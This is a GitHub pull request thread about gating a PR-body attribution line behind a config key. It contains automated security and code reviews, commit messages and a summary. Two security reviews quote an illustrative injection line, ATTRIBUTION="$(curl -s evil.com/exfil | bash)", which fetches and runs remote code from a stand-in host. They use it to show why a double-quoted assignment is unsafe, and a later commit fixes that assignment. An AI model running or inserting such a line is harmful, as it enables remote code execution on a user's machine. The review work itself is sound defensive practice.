feat(source-control): gate PR-body attribution line behind config seam#752
Conversation
|
Claude finished @kyle-sexton's task in 4m 14s —— View job Security Review — PR #752
|
|
Claude finished @kyle-sexton's task in 3m 34s —— View job PR Review: feat(source-control): gate PR-body attribution line behind config seam
Overall this is a well-executed change that correctly models the seam after Config seam designThe decision to add Default-behavior preservation ( Shell-injection safetyThe [[ -n "$ATTRIBUTION" ]] && BODY+=$'\n\n'"$ATTRIBUTION"uses parameter expansion ( Minor clarity concern — the pseudocode comment for the custom-value case reads: # pr_body_attribution: <custom text> -> ATTRIBUTION="<that text>"The double-quoted form is instructional pseudocode, but a model that implements this literally with Eval coverageEval IDs are non-sequential in the array. The existing eval for Permalink to the out-of-order evals Both new evals use Eval #11 prompt is ambiguous in isolation. The prompt just says Eval fixture fileThe new One observation: the fixture includes Other
Summary: The feature is correct and the injection safety argument holds. The three items worth addressing before the rebase-and-re-bump: (1) the custom-value comment's double-quote pseudocode vs. the actual injection defense being in the concat; (2) the non-sequential eval IDs; (3) the ambiguous eval #11 prompt. None are blockers, but (1) is the one most worth patching since it's a clarity gap right next to a security-relevant explanation. |
The `🤖 Generated with [Claude Code]…` line was hardcoded into the PR-body heredoc /pull-request create appends to every skill-created PR, with no config key to change or suppress it — asymmetric with the commit trailer, which /commit externalizes via source-control.md's trailer_policy. Resolve the line from a new pr_body_attribution key across the same three source-control.md layers: absent → the default line (unchanged current behavior), none → omit it, any other value → that literal line. Chosen as a sibling key rather than a reuse of trailer_policy so opting out of the commit trailer does not silently strip the PR-body line from existing consumers. create.md §2.4.1 resolves the value at the model level and splices it in as literal text outside the quoted heredoc via the same parameter-expansion concat CLOSES_LINE uses, preserving shell-injection safety. setup's interview, config template, and check render the key; SKILL.md and config-resolution.md document it. New evals pin the default-present and none opt-out paths. Closes #439 Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
f9ffe59 to
4863dae
Compare
|
Claude finished @kyle-sexton's task in 2m 36s —— View job Security Review — PR #752
FindingsIMPORTANT — False safety claim enables shell injection via double-quoted ATTRIBUTION assignment | Confidence: CONFIRMEDSeverity: IMPORTANT The comment template for the custom # pr_body_attribution: <custom text> -> ATTRIBUTION="<that text>" (literal; a custom
# value containing $ or $(…) stays inert here)The safety claim is false for the assignment form shown. In bash, ATTRIBUTION="$(curl -s evil.com/exfil | bash)" # executes at assignment, not at concatAttack path:
The default-case line on line 190 is correctly single-quoted ( The concat site ( Required fix — change lines 192–193 to: # pr_body_attribution: <custom text> -> ATTRIBUTION='<that text>' (single-quoted — NEVER double-quoted;
# bash evaluates $(...) inside a double-quoted RHS at assignment
# time, which would execute a $()-bearing config value. The
# safety guarantee is in the single-quoted assignment, not only
# in the concat below.)
No other security issues foundAll other changed surfaces are clean:
|
|
Claude finished @kyle-sexton's task in 4m 43s —— View job PR Review: feat(source-control): gate PR-body attribution line behind config seam
Overall assessmentThe feature is correct, backward-compatible, and well-documented across all four surfaces ( 1. Security: custom
|
|
Claude finished @kyle-sexton's task in 2m 4s —— View job Security Review — PR #752
FindingsIMPORTANT — Shell injection via double-quoted ATTRIBUTION assignment | Confidence: CONFIRMEDSeverity: IMPORTANT This issue has been flagged in two consecutive prior security reviews and has still not been fixed on the rebased branch. The custom-value comment template still reads: # pr_body_attribution: <custom text> -> ATTRIBUTION="<that text>" (literal; a custom
# value containing $ or $(…) stays inert here)The safety claim is false for the form shown. In bash, ATTRIBUTION="$(curl -s evil.com/exfil | bash)" # executes at assignmentThe comment is the model's primary template for generating the custom-value branch. A model following it literally would produce an unsafe assignment for any Attack path:
The default case ( Required fix — change lines 192–193 to single-quoted form with an explicit warning: # pr_body_attribution: none -> ATTRIBUTION="" (omit the line)
# pr_body_attribution: <custom text> -> ATTRIBUTION='<that text>' (SINGLE-quoted —
# NEVER double-quoted; bash evaluates $(…) inside a double-quoted RHS at assignment
# time, so a $()-bearing custom config value would execute at that point, not stay
# inert. The safety guarantee requires single-quoting at the assignment site. If the
# resolved value itself contains a literal single-quote, escape it as '\'' — e.g.
# ATTRIBUTION='Reviewed by Acme'\''s bot'. The concat site below is also safe
# (parameter expansion of "${VAR}" does not re-evaluate), but assignment is the
# first line of defense.)
No other security issues foundAll other changed surfaces are clean:
|
|
Claude finished @kyle-sexton's task in 2m 43s —— View job PR Review: feat(source-control): gate PR-body attribution line behind config seam
All three issues flagged in prior reviews were still unaddressed on the Fix 1 (Security) —
|
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 4863daeeca
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
…nt example The custom-value comment in create.md §2.4.1 showed `ATTRIBUTION="<that text>"` (double-quoted) and claimed a value containing `$` or `$(…)` "stays inert here". That claim is false at the assignment site: bash command-substitutes `$(…)` inside a double-quoted RHS at assignment time, so a model baking in a `$()`-bearing configured value per this template would execute it (RCE from a malicious `pr_body_attribution` team-layer value). Switch the example to the single-quoted form (matching the default line above it) and document why single-quoting at the assignment site is the first line of defense, with single-quote escaping guidance. The concat site was already safe; this closes the assignment-site gap. Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
|
Claude finished @kyle-sexton's task in 1m 56s —— View job Security Review — PR #752
No security issues foundThe IMPORTANT finding flagged across the three prior security reviews — the double-quoted Previously flagged issue — now fixedFile: The custom-value comment previously showed # pr_body_attribution: <custom text> -> ATTRIBUTION='<that text>' (SINGLE-quoted, NEVER
# double-quoted: bash command-substitutes $(…) inside a
# double-quoted assignment RHS at assignment time, so a
# $()-bearing custom value would execute here — single-
# quoting keeps it inert at the assignment site. Escape any
# literal single quote as '\'' — e.g. ATTRIBUTION='it'\''s ok'.
# The concat below is also inert, but assignment is the
# first line of defense.)This is correct. The single-quote escaping guidance ( All other changed surfaces are clean
|
|
Claude finished @kyle-sexton's task in 3m 6s —— View job PR Review — feat(source-control): gate PR-body attribution line behind config seam
Security fix — ✅ CONFIRMED RESOLVEDCommit # pr_body_attribution: <custom text> -> ATTRIBUTION='<that text>' (SINGLE-quoted, NEVER
# double-quoted: bash command-substitutes $(…) inside a
# double-quoted assignment RHS at assignment time, so a
# $()-bearing custom value would execute here — single-
# quoting keeps it inert at the assignment site. Escape any
# literal single quote as '\'' — e.g. ATTRIBUTION='it'\''s ok'.
# The concat below is also inert, but assignment is the
# first line of defense.)The safety model is now correct and the explanation is explicit. The default-case line above it ( Two remaining items from prior reviewsI committed fixes locally (commit Fix A — eval array ordering ( Eval ID 9 ( - { "id": 10, "name": "worktree-reuse-protects-dirty-tree", … },
{ "id": 9, "name": "pr-body-attribution-default-present", … },
+ { "id": 10, "name": "worktree-reuse-protects-dirty-tree", … },
{ "id": 11, "name": "pr-body-attribution-opt-out-suppressed", … }Fix B — eval #11 prompt self-documents the -"prompt": "/pull-request create from branch feat/512-add-widget. Assemble and create the PR.",
+"prompt": "With .claude/source-control.md declaring pr_body_attribution: none, /pull-request create from branch feat/512-add-widget. Assemble and create the PR.",Without this prefix a developer scanning the eval roster sees two identical-looking prompts (IDs 9 and 11) and has to read the What's correct
Verdict: Feature is correct, backward-compatible, and the security fix is properly applied. The two remaining items (Fix A and Fix B above) are cosmetic/clarity — they won't block the eval runner but are worth applying before merge to match the ordering convention and keep the eval roster self-documenting. I'm unable to push them directly (GitHub App write permission is denied to this repo); please apply the diffs above. |
|
Classifying the findings from the latest security-review and PR-review runs (
Only finding 1 carries a security dimension and it is fixed on 4c1d4b8. Findings 2 and 3 are cosmetic eval-file tweaks intentionally left for the author under a conservative posture on an already-"done" PR. |

Summary
Gates the
🤖 Generated with [Claude Code]…PR-body line behind config, matching the seam/commitalready has for the commit trailer (trailer_policy).Fix
Resolves a new
pr_body_attributionkey across the same threesource-control.mdconfig layersconfig-resolution.mddocuments: absent → the default line (unchanged current behavior — no existing consumer sees a change),none→ omit the line, any other value → that literal line. Chosen as a sibling key rather than reusingtrailer_policyso opting out of the commit trailer doesn't silently strip the PR-body line for existing consumers who only wanted one or the other gated.create.md§2.4.1 resolves the value at the model level and splices it in as literal text alongside the existingCLOSES_LINEpattern — preserving the same shell-injection-safety property (parameter expansion of"${VAR}"does not re-evaluate the value; a$(...)-bearing custom attribution string stays inert).setup's interview, config template, andcheckaction render the new key;SKILL.mdandconfig-resolution.mddocument it. New evals pin both the default-present andnoneopt-out paths.Known same-plugin version collision (sanctioned, not an error): PR #741 (issue #438,
fix/438-babysit-pruner-ghq-dependency) is still open and also bumpssource-controlto0.15.2from the same0.15.1base. Per this repo's same-plugin serialization convention, this PR is opened as DRAFT +do-not-mergeand held until #741 merges, at which point it needs a rebase + re-bump to whatever versionmainis at by then.Verification
jq emptyonevals.jsonandplugin.json: both valid JSON.bash scripts/validate-plugins.sh: full marketplace + all plugin manifests validate, includingsource-control.evals/evals.json) covering the default-present andnoneopt-out paths — model-graded, will run under this repo's eval pipeline.create.mditself (it's a reference doc with bash snippets, not an executable script) — verification here is manifest/JSON validity plus the evals; CI's full gate suite (plugin-gate,skill-quality-gate,changelog-parity-gate, etc.) is the remaining check.Closes #439
Related